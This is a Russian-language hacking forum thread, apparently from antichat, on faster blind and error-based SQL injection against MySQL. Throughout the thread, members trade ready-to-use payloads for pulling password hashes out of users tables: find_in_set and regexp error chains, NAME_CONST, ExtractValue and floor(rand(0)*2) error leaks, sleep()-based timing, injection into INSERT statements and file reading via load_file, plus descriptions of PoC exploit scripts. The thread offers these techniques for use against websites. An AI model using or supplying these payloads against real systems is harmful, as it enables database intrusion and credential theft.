![]() |
Быстрый Blind SQL Injection
Быстрый Blind SQL Injection.
[1] INTRO Основной проблемой при работе с Blind SQL Injection является огромное количество запросов, которое необходимо послать на сервер для получения символов из БД, и, соответственно, долгое время работы. Понятно, что вручную получать данные из БД практически нереально, поэтому процесс работы необходимо автоматизировать. Я рассмотрю некоторые варианты. [2] Полный перебор всех символов (до 512 запросов на md5) Самый тупой и тормознутый метод получения символов из БД. Обычно реализуется новичками в своих первых эксплоитах. Код выглядит примерно так: PHP код:
Плюсов у метода нет вообще, разве что код выполняющий такой перебор пишется очень быстро и легко. [3] Бинарный (двоичный) поиск нужного символа. (до 128 запросов на md5) - это тот метод, который используется в большинстве адекватных программ, скриптов и сплоитов, для работы со слепыми иньекциями. Принцип работы прост: 1) Берём диапазон всех возможных символов (для md5 - [0-9,a-f]), и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе. 2) Если код символа в БД больше чем код переданого символа, то на следующем шаге, в качестве диапазона возможных символов берём диапазон от того символа, с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона, и идём на шаг 1. 3) Если код символа меньше, то берём диапазон от текущего символа до левой границы диапазона на предыдущем шаге, и идём на шаг 1. 4) Если символ не больше и не меньше, то мы как раз его и нашли. Например мы получаем хеш md5: Диапазон символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f Допустим в БД лежит символ 'b' Запускаем процесс: 1) Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f], серединой является символ '8'. 2) Сравниваем, код символа 'b' больше или меньше, чем код символа '8'? (шлём запрос) 3) Код больше, поэтому на следующую итерацию уже берём диапазон [8,9,a,b,c,d,e,f], серединой является символ 'с'. 4) Сравниваем, код символа 'b' больше или меньше, чем код символа 'с'? (шлём запрос) 5) Код меньше, поэтому на следующую итерацию берём диапазон [8,9,a,b,c], серединой является символ 'a'. 6) Сравниваем, код символа 'b' больше, чем код символа 'a'? (шлём запрос) 7) Код больше, поэтому на следующую итерацию берём диапазон [a,b,c], серединой является символ 'b'. 8) Сравниваем, код символа 'b' больше или меньше, чем код символа 'b'? (шлём запрос) 9) Код ни больше и не меньше, значит символ в БД = 'b' Т.е., в зависимости от реализации, мы отправляем до 5-6 запросов, в худшем случае, на определение кода символа. Пример реализации: PHP код:
- можно искать быстрее [4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet) Функция find_in_set(str,strlist), используется для поиска подстроки среди списка строк, разделённых символом ',', возвращает номер той строки из списка, которая равна переданному аргументу. Т.е.: Код:
mysql> SELECT FIND_IN_SET('b','a,b,c,d');Код:
select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');В слепых скулях можно использовать так: Код:
news.php?id=find_in_set(substring((select password from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')На практике, для использования нужно: 1) Выделить ключевые слова на страницах с нужными id 2) Отправить запросы с find_in_set для каждого символа из БД 3) Выяснить страницу с каким id мы получили и вывести на экран код символа. Код прикреплю во вложении, т.к. главной сложностью является выявление ключей на странице, что не имеет прямого отношения к статье, суть расписана и так. Вместо find_in_set(), можно использовать подобные функции: LOCATE(),INSTR(),ASCII(),ORD(), причём ASCII()/ORD() предпочтительее, т.к. присутствуют не только в MySQL. (А при помощи сложения и вычитания, получившиеся коды можно подогнать под любые ID) + высокая скорость работы (в идеальном случае) + не требует вывода ошибок - на сайте id могут быть распределены неравномерно, т.е. скрипт приходится затачивать под каждый сайт индивидуально - для большого количества символов в алфавите, нужно большое количество уникальных страниц в зависимости от id, которые не всегда присутствуют, иначе приходится слать больше чем 1 запрос на символ (если не понятно, см. следующий метод) [5] Использование find_in_set() + more1row (~42 запроса на md5) Если внимательно разобраться с методом описаным выше, можно понять, что все его минусы сводятся к тому, что не на всех сайтах, мы можем получить достаточное количество различных выводимых страниц, в зависимости от одного параметра. Попробуем разобраться с этой проблемой, вспомним о методе more1row, который изначально описал Elekt. Суть метода сводится к тому, чтобы спровоцировать скрипт выводить какую либо ошибку, в зависимости от SQL запроса. В данный момент, наиболее часто используется запрос: Код:
SELECT 1 UNION SELECT 2Subquery returns more than 1 row Так же, ZaCo, нашёл альтернативный вариант запроса: Код:
"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/#1139 - Got error 'invalid repetition count(s)' from regexp. Немного порывшись в исходниках MySql и погуглив, можно найти, ещё 9 ошибок, которые возвращает неправильный regexp, итого от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет: Код:
SELECT 1Примем это во внимание. Теперь вспомним о функции find_in_set: Если символ есть в множестве подстрок, она вернёт номер подстроки, если нет, вернёт 0. А что если передать такой запрос: Код:
select * from users where id=-1 AND "x" regexp concat("x{1,25", if(find_in_set(substring((select passwd from users where id=1),1,1),'a,b,c,d,e,f,1,2,3,4,5,6')>0, (select 1 union select 2), "6}"))#1242 - Subquery returns more than 1 row ,а если не находится, то: #1139 - Got error 'invalid repetition count(s)' from regexp Т.е. при каждом запросе, по коду ошибки, мы узнаём, к какой группе принадлежит символ. Расставим символы по группам так, чтобы минимизировать количество обращений к серверу. На примере md5, мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f], так же мы знаем, что количество групп = 12, т.к. всего мы можем задать 12 состояний (11 ошибок + 1, когда ошибки нет). Получаем, к примеру: Код:
[01]: '0','b','c','d','e','f'В итоге, если символ находится в группах 01-11, то мы узнаем его значение с одного запроса. Если символ лежит в группе 1, то следующим запросом мы распределяем символы по группам вот так, и сразу узнаём непосредственное значение символа: Код:
[01]: '0'1) оптимально распределить символы алфавита по группам 2) по возвращённому коду ответа выяснить в какой группе находится символ из бд 3) если в этой группе только 1 символ, то выводим его на экран, если больше чем 1 символ, то распрделеяем символы из данной группы по состояниям и идём на шаг 1. Понятно, что руками писать такие запросы совершенно нереально, к примеру рабочий запрос для алфавита [a-z,A-Z,0-9], и 11 состояний выглядит вот так: Код:
sql.php?id=1+AND+"x"+regexp+concat("x{1,25",+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k'),('}'),(select+1+union+select+2))),'}x{1,0}')),'}x{1,(')),'}[[:]]')),'}[[')),'}(({1}')),'}(')),'}[2-1]')),'}[[.ch.]]')),'}\\')))+--+1+ высокая скорость работы + универсален, как и more1row * Можно искать 1 символ за запрос, если найти ещё 4 ошибки, работающие в динамическом режиме. - требует включеный вывод ошибок [6] Outro Существует довольно много возможностей ускорить процес работы со слепыми SQL иньекциями, главное не зацикливаться на старых заезженных способах. Кто знает что нам принесут новые версии известных СУБД. [7] Links При написании статьи использовалось: https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ by Dr.Z3r0 https://forum.antichat.ru/thread43966.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection by Elekt https://forum.antichat.ru/showpost.p...9&postcount=11 - Использование ошибок regexp by ZaCo https://blackhole.cih.ms:13000/showthread.php?t=554 - Проведение слепых инъекций через find_in_set() by +toxa+ (там же скрипт) http://dev.mysql.com/sources/doxygen...8c-source.html - Ошибки regexp (сорцы MySql) |
Скрипт для работы через find_in_set() (метод - 4)
Вложений: 1
За основу взят скрипт c cih.ms, который написал +toxa+.
Количество запросов: 1 на каждый символ алфавита + 1 на каждый символ в строке. Т.е. для классического MD5 - 48 запросов. Из них 16 - абсолютно естественные, никак не используют иньекцию саму по себе + от них можно избавиться, если в коде прописать регулярку, вычисляющую на какой именно странице мы находимся, тогда будет 1 запрос на 1 символ. Алгоритм работы скрипта: 1) Отправляет нормальные запросы вида ?id=1, ?id=2 .. ?id=N, где N - количество символов в алфавите. 2) Вычисляет ключевые слова для каждого из вариантов. 3) Шлёт на сервер запрос вида: id=find_in_set(substring((select+passw+from+users+ limit+0,1),0,1),[АЛФАВИТ]) 4) В ответе сервера ищет ключи, найденые ранее, если ключ совпал, значит символ найден. Описание: запуск из консоли в виде: Код:
fast_in_set.php url field table [target_id] [send_queries] [start_from] [alphabet]обязательные: url - url вида http://test1.ru:8012/find_in_set/news.php?id= (Важно: после = скрипт подставлять цифры будет сам, никакого -1 там не нужно) field - имя столбца table - имя таблицы необязательные: [target_id] - id записи в таблице (по дефолту 0, т.е. первая запись) [send_queries] - количество символов которое надо получить (по дефолту 32) [start_from] - страница с которой надо начать (по дефолту 1), т.е. для получения хеша мд5 скрипту потребуется 16 различных страниц идущих подряд, а это число прибавится к получаемому id. Т.е. для md5, при start_from=10, скрипт пробежится по страницам с id от 10 до 26 включительно. [alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 . Пример: Код:
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= password usersКод:
Generating templates................ [OK]P.S. Поидее надо добавить возможность задавать id не последовательно, возможность установить свою регулярку чтобы не надо было слать запросы для определения ключей + заточить под все виды БД. |
Скрипт для работы через find_in_set()+more1row (метод 5)
Вложений: 2
Генерация запросов:
2 ошибки обладают особенностями: 1) select 1 regexp if(1=1,"x{1,0}",2) - работает только так, как показал ZaCo в древнем посте на античате, и требует чтобы к остальным запросам regexp корректно в начале был добавлен символ "}", иначе назвисимо от условий ругается тольо так: "#1139 - Got error 'repetition-operator operand invalid' from regexp" 2) select 1 regexp if(1=1,'',2), работает только при наличии пустого запроса, или так: 'a|' (отсутствие чего бы то нибыло после | ), но особенность 1 убивает возможность использования чисто пустого запроса. Вложенные запросы скрипт генерирует сам. Дальше понадобилось группировать символы алфавита по условиям. Скрипт делает это по принципу (на примере [0-9,a-f] и 4х состояний): 1) Раскидывает по 1 букве алфавита на запрос, т.е. Код:
[1]:13) Если ещё остались не распиханые символы, идём на шаг 2. В итоге символы по категориям расставлены так, что поиск по ним будет происходить максимально быстро. Например, символы [1,2,3,4,5,6,7,8], скрипт по состояниям расставит вот так: [1]:1,5,6,7 [2]:2,8 [3]:3 [4]:4 И получаем, что если символ в запросе равен 3 или 4, то его найдут с 1 запроса, если [1,5,6,7] или [2,8], то с 2х запросов. Для генерации запросов используется следующая структура: 1) Все запросы хранятся в массиве: Код:
$queries = array(Зная это можно свободно добавлять/удалять ошибки из массива. Программа отработает полностью автоматически, и строит окончательный запрос только из тех подзапросов которые есть в наличии. (комментирование/добавление запросов к некорректной работе не приведёт). 2) основной запрос обёртка прописывается так: Код:
$template = "+AND+\"x\"+regexp+concat(\"x{1,25\",+(%query%))+--+1";3) Подзапросы тут: Код:
$condition = 'find_in_set(substring((select+'.$field.'+from+'.$table.'+limit+%id%,1),%number%,1),%symbols%)';4)алфавит можно задать как в исходниках, так и из командной строки. В исходниках: Код:
$alphabet = array_merge(range('0', '9'),range('a', 'f'));Работа со скриптом: Цитата:
обязательные: url - url вида http://test1.ru:8012/sql.php?id=1 (Важно: нужна цифра, или символ) field - имя столбца table - имя таблицы необязательные: [target_id] - id записи в таблице (по дефолту 0, т.е. первая запись) [send_queries] - количество символов которое надо получить (по дефолту 32) [alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 . Пример: Цитата:
Цитата:
Цитата:
Если кто найдёт ещё 4 ошибки, которые работают в динамическом режиме (внутри if в зависимости от условия), то скрипт будет работать со скоростью 1 запрос - 1 символ. Добавить ошибки в базу, с учётом написаного выше, будет легко любому. Во вложениях 2 скрипта, в 1м всё запросы передаются в чистом виде и с кавычками (удобно для того чтобы понять как это работет), во 2м всё захексено, чтобы не было проблем с экранированием кавычек. |
Интересно придумал с more1row (:
p.s. и все таки удобнее использовать Код:
select instr('0123456789abcdef', 'a');Код:
select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,); |
cr0w, find_in_set там по историческим мотивам :) Главное принцип :)
|
[4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)
Можно ссылку на первоисточник? А то это какбы вариант моего https://forum.antichat.ru/thread117549.html метода |
Хм, ну значит вы дошли до этого метода независимо :) Пост был на cih.ms, но сейчас тот форум снова стал приватным.
З.Ы. Посмотрел, на сохранённую копию. В общем, +toxa+, madnet опередили тебя по крайней мере на год, просто их способ в паблике не всплывал. З.З.Ы. Посмотрел повнимательнее твой пост. По сути твой способ - недоработанный вариант их способа, почему недоработанный? Потому что у тебя не показан законченный вариант перебора, когда ты реально не знаешь какие значения лежат в полях. Код:
?news.php?news_id= |
128 запросов на мд5 хеш бинарным поиском (или 4 для 0...15 и 8 для 0...255)
128 запросов на мд5 хеш бинарным поиском (или 4 для 0...15 и 8 для 0...255)
ЮЮЮЮПППППИИИ, занимался переписыванием и оптимизацией своего скрипта для работы со слепыми инъекциями. Оптимизировал функцию поиска.... Подняв планку для бинарного поиска - теперь не до 160-170 запросов на мд5 хеш нужно, а ровно 128. Т.е. для мд5 это ровно 4 запроса на 1 символ. Пример функции: PHP код:
PHP код:
В последнем запросе проверка идёт уже относительно границы, а не среднего значения. |
3.4 запроса на получение цифрового символа (0-9)
3.4 запроса на получение цифрового символа (0-9)
Продолжая заниматься оптимизацией своего скрипта до шёл до такой обыденной штуковины, как определение длины возвращаемой строки. До этого момента использовал функцию для быстрой выдерки хешей (эта которая работает с символами 0-9a-f), задумался насколько это разумно - с одной стороны использовать меньший диапазон нельзя - там всего 8 символов, а у нас 10 (ведь работая с длиной мы получаем только цифры), а с другой выходит, что есть лишние проверки. Посмотрел как выглядят ascii коды нужных символов и вот, что получилось: Цитата:
Сделал функцию: PHP код:
|
From ROA with love
Ещё 1 способ узнать имена колонок без использования information_schema в MySQL5 (нашёл 25.02.2009, спасибо Грею, за то что проверил у себя и всем, кого мучал вопросами).
У меня есть таблицы: news(id,title,date) users(id,name,passwd,is_admin) Допустим мы имеем скуль: SELECT * FROM `news` WHERE id = [SQL] Хотим узнать имена столбцов в таблице users. Делаем это так: Шлём запрос: Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b ON 1=1)a#1060 - Duplicate column name 'id' Кстати можно использовать любой вариант JOIN'а, не обязательно CROSS JOIN, просто перебирая варианты он оказался последним. (А вот после этого пришлось помучатся, благо в MySQL обнаружилась конструкция USING(), далее всё внимание на неё) Тогда шлём запрос: Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id))a#1060 - Duplicate column name 'name' Тогда шлём: Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id,name))a#1060 - Duplicate column name 'passwd' И т.д., когда переберём все столбцы, вернётся: #1222 - The used SELECT statements have a different number of columns З.Ы. Если удалить всё ненужное, то получатся запросы: Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)aКод:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a |
From ROA with love
Итак, развиваем тему "more 1 row".
Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу. Для этого вспоминаем мой метод получения имён полей из БД: Цитата:
А что если попытаться подставить значение из базы, в качестве имени одного из полей? На поиск такого варианта я потратил много времени и решение было найдено: Функция NAME_CONST() Цитата:
Цитата:
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80' И вот ещё пример от jokester: Цитата:
Цитата:
Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь. Первым идею выводить значение поля в тексте ошибки, мне предложил Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев... P.S. Ну что, кто сможет быстрее?? :) UPD: У меня текст имени колонки выводимой в ошибке, режется до 64 символов |
Можно и еще быстрее. (: Например, если получать по 2 хеша за запрос:
Цитата:
add: А еще этим способом можно, например, более-менее сносно читать файлы: Цитата:
Цитата:
Цитата:
|
Ещё один вариант вывода через ошибку нашёл Дмитрий Евтеев:
Код:
sql.php?id=1 and ExtractValue(1,concat(0x5c,('test')))Код:
XPATH syntax error: '\test'З.Ы. Как я понял требуется MySQL 5.1 , поправьте если ошибаюсь. З.З.Ы. Ограничение длины вывода - 31 символ. 3.3.3.Ы. Советую презентацию целиком посмотреть, есть интересные вещи, хоть и намешано в кучу. |
Парсинг файла.
Парсинг файла.
Врятли скажу что нидь новое, да и в старой версии скрипта такая возможность была, но только плохо реализованная, в новой версии эта опция будет добавлена (алгоритм уже нормальный). Ну так вот, суть в том, что при слепых sql инъекциях читать файлы почти не реально, т.к. времени это займет невероятно много. Но читать весь файл как правило и не нужно, ведь в большинстве случаев интересует какое то конкретное содержимое (переменные с данными для подключения к БД, паролями и т.д.). Вполне логичным становиться парсить файл средствами mysql и получать не всё содержимое файла, а только его нужную часть. Алгоритм такой: 1. Берем фрагмент нужной переменной (к примеру: 'pass') и ищем его позицию. 2. Далее ищем позиции левой (к примеру: '$') и правой (к примеру: ';') границы. 3. Ищем другие позиции для данного фрагмента и следующие позиции границ. 4. Повторяем пункты 1-3 для фрагментов других переменных. Таким образом мы получаем массив областей в котором для каждой переменной имеется начальная и конечная позиции. 5. Далее, не менее важным является удалить повторяющиеся позиции и пересечения областей (к примеру: было: '1','6'; '3','4'; '4','8','10','11'; => '1','8';'10','11';). Для поиска позиций нужно использовать оптимизированную функцию (3.5 запроса на символ) - немного, но всё же быстрее, а тут скорость критична. Сам поиск позиций осуществляется через функцию locate(). К примеру так: PHP код:
|
Вывод информации в ошибке для Mysql >= 4.1
Скрипт для теста:
PHP код:
Duplicate entry '5.0.45-community-nt1' for key 1 Duplicate entry '5.0.45-community-nt0' for key 1 Пример использования в скуле: Код:
http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+xКод:
Duplicate entry '1bc29b36f623ba82aaf6724fd3b16718:1' for key 1Код:
http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1Особенности: 1) Работает на всех ветках, проверял на 4.1, 5.0, 5.1 . 2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так: Код:
sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1Код:
sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1P.S. Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: http://s48.radikal.ru/i120/0910/ce/4974d14483ba.jpg P.P.S. Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости :). Так-же тут: http://qwazar.ru/?p=7 |
Цитата:
Код:
SELECT 'a' IN (%symbols);Код:
SELECT 'a' BETWEEN '0' AND 'z'P.S. Ещё короче с регуляркой: Код:
SELECT 'a' REGEXP '[0-z]' |
testiruju na 4images s dirkoy na blin sql injection , rezultat nulevoy !!! moj zapros ne tak delau ?
C:\root\php>php.exe -f test.php http://localhost/gallery/categories. php?cat_id= user_password 4images_users Generating templates................ [OK] Getting keywords................ [OK] Filtering keywords................ [OK] Sending queries................................ [OK] Getting value: [DONE] |
Цитата:
Можно заместо запросов типа Код:
select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');Код:
select conv('a',16,10)+1 |
Вывод данных в ошибке для MySQL>=4.1
Дмитрий Евтеев допилил мой вариант вывода данных в ошибке через рандом, чтобы вывод ошибки был в 100% случаев.
Вот запрос выводящий данные всегда: Код:
select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;P.S. Различия в том, что в функцию rand() передаётся аргумент 0. |
Удобно использовать вышеописанный способ Qwazar'a с рэндомом, эксплуатируя сценарии запросами такого вида:
Код:
?sql.php=1 or (select count(*) from table group by concat(version(),floor(rand(0)*2)))--Код:
?sql.php=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2)))-- |
При использовании способа с rand'омом в order by, обнаружилась такая вещь (тестил в 5.0.45-community-nt): если извлекать данные из колонки, напимер, типа VARCHAR и размерностью >153, то ошибки в запросе не возникает, он нормально выполняется, и мы не получаем нужных нам данных. Решить эту проблему можно, например, урезав извлекаемые данные с помощью SUBSTR (или MID). Таким образом, лучше использовать данный способ примерно в такой манере:
Код:
script.php?sql=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users limit 1),1,64),floor(rand(0)*2)))--И еще одна небольшая фича, которая кому-то может пригодиться при использовании этих методов когда SQLI в INSERTе. Например, имеется уязвимый скрипт такого плана: PHP код:
Код:
test.php?name=lala',(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2))))--+Код:
You can't specify target table 'users' for update in FROM clauseКод:
test.php?name=lala',(select*from(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2)))z))--+ |
Использование sleep() вместо benchmark() (32 запроса на md5)
Зачастую встречаются sql-инъекции, в которых нет ни вывода полей, ни вывода ошибок. В таких случаях применяют find_in_set() и ей подобные. Я предлагаю ввести новую альтернативу для пятой ветки mysql - sleep(). Рассмотрим следующий запрос: Код:
SELECT SLEEP((SELECT substring(version(),1,1)))Если сначала посмотреть, сколько уходит времени на получение ответа от сервера на запрос без задержки, можно точно узнать первый символ одним запросом. А учитывая то, что обычно сервер выполняет запрос меньше, чем за одну секунду, можно брать просто целую часть от времени ответа сервера. Теперь посмотрим, как вытаскивать символы. Предлагаю делать это с помощью ASCII-кодов: Код:
SELECT SLEEP((SELECT ascii(substring((SELECT password FROM users LIMIT 1,1),1,1)))/50)В зависимости от того, как быстро сервер возвращает ответы без задержки, можно варьировать это число во избежание ошибки. Таким образом, на 1 md5() хеш потребуется ровно столько запросов, сколько в нём символов - 32. Теперь о плюсах и минусах: + Рекордные 32 запроса на md5() + Не требует вывода ошибок - Работает лишь начиная с MySQL 5 - Возможны погрешности, если сервер перегружен Надо отметить, что минусы не так существены, как плюсы - старые ветки MySQL уже отмирают, а погрешностей можно избежать, меняя знаменатель в функции SLEEP(). P.S. PoC-эксплойта пока не имеется, надеюсь скоро будет. |
Я полгода назад пробовал делать sleep() + find_in_set(). В любом случае дело фейл, ибо:
1. Разные сервера по нагрузке, т.е. одинаковые запросы будут выполняться разное кол-во времени на разных серверах. Это не локалхост. 2. Разное время передачи данных между сервером и клиентом 3. Некоторые сервера уходили в небольшой даун после подбора скули таким образом. Тут минусов гораздо больше нежели плюсов. Даже если использовать вкупе с бинарным поиском - всё равно будет тухло. |
Цитата:
Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально. 3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark(). А какие ты проводил эксперименты? Можно поподробнее? Т.е. хеш выдёргивался неправильно, были сильные погрешности? |
Ну если на примере sleep() + find_in_set(), то думаю ты понял как выглядит запрос. Так вот, допустим сервант отстоял энное время, НО, это время просто в очень редких случаях(фактически локалхост онли) будет совпадать с позицией искомого символа. Т.к. к времени простоя сервера в зависимости от позиции символа, ещё добавляются:
1. Остальные sql запросы, которые были до нашего запроса или же будут после него. Что уже сбивает время. 2. Время загрузки клиентом всей страницы сайта, что бы там нибыло. Опять же сбои во времени. Тут никак не подсчитать и не сделать универсальный эксплойт. Можно конечно дрочить на каждом сервере довольно долго что б потом ориентироваться по знаменателям и прочим, но это всё займет очень много времени, а есть способы гораздо быстрее, пусть и большее кол-во запросов. PS Идеально такой способ у меня отработал на локалхосте и одном серванте с широким каналом и незагруженной бд, куда я залил бажный скрипт для теста. В обычных же полевых условиях, всегда был фейл. |
Цитата:
|
Цитата:
З.Ы. Для примера можешь посмотреть вот это: http://qwazar.ru/?p=35 . |
Шаблонный PoC-сплойт к посту #22.
Жду предложений по улучшению и результаты тестов. На реальном движке не тестил, можно подогнать под любой. Смотреть на Pastebin PHP код:
|
Root-access, не введёшь дельту - результат будет недостоверным. Введёшь - ждать будешь долго (существенно дольше стандартного бин.поиска). В данном случае подобным PoC нельзя ограничиваться.
|
если подобрать дельту достаточной величины, то можно будет и погрешности реальной сети рассчитать, ну или делать одинаковый запрос несколько раз и брать средневзвешенное значение.
|
Тут возникли некоторые вопросы по поводу мотивировок использования этого метода. Метод с find_in_set без sleep() неприменим в абсолютно слепых скулях, там, где нет вообще никакого вывода контента, то есть при различных id контент будет одним и тем же. А метод с benchmark() сильно грузит сервер.
Сделал увеличение шага между позициями в дельту (в данном примере 2). (pastebin) PHP код:
(pastebin) PHP код:
|
По советам сделал улучшенную версию с вычисляемой дельтой. Нужно ли ещё обтесать алгоритм?
Pastebin PHP код:
|
не актуальный ресерч по методу 12 ошибок.
т.к. кол-во приведеных ошибок крайне мало, возникла идея "динамического" использования рантайм ошибок mysql, которые могут содержать информацию от клиента, для примера я взял error column 'xxx' cannot be null forum.antichat.ru/showpost.php?p=1716996&postcount=18 если использовать not null колонки в конкатенации с необходимым диапазоном символов, можно составить универсальный (но длинный'() запрос на основе 1 ошибки вот конкретная реализация для всех символов из диапазона [0..9],[A..Z],[a..z] Цитата:
т.е. в зависимости от результата подзапроса возвращается n-ая ошибка содержащая n-ый символ, -47 - ascii(0)-1 (подгонка под функцию elt) итого: 1 запрос к бд и огромные лог файлы на сервере => помидорами не закидывать :) |
Уважаемые профи, спс за ваши усилия в развитии новых методов. Вот все прекрасно обьяснили, но как то никто не прояснил про load_file через floor rand и name_const
Сегодня было дело прочест файли при условии floor и тока v1d0qz посоветовал как делать load_file(огромный респект ему). Если вам не составит труда напишите одну норм статью или тутор чтоб охватило всё что касается эксплуатации через Floor & Name_const и чтоб прояснили можно ли делать into outfile и другие способы. Я еще нигде не видел подобных статей который начали с 0 до открытия скажем рдп. Имеется ввиду тока эти два метода вывода через ошибок. Если не хотите чтоб эти методы опубликовалис на всем инете на разных языках и разработчики придумали новые методи защиты(хз может уже придумали) то просто сделайте по одному примеру с каждого запроса маленким обьяснением тут. PS. это будет хорошым ответом на многие вопросы в разделе Ваши вопросы по уязвимостьям так как много там вопросов про те методы. Спс думаю не нарушил правило ;) |
Малюсенькое дополнение по error based инъекциям на основе rand.
Вместо floor(rand(0)*2) можно использовать rand(0)|0, rand(0)&1 или rand(0)^0. (& в get запросах отправлять как %26). На случай, если каждый символ на счету, а запросы при такой инъекции не маленькие ) |
| Время: 19:29 |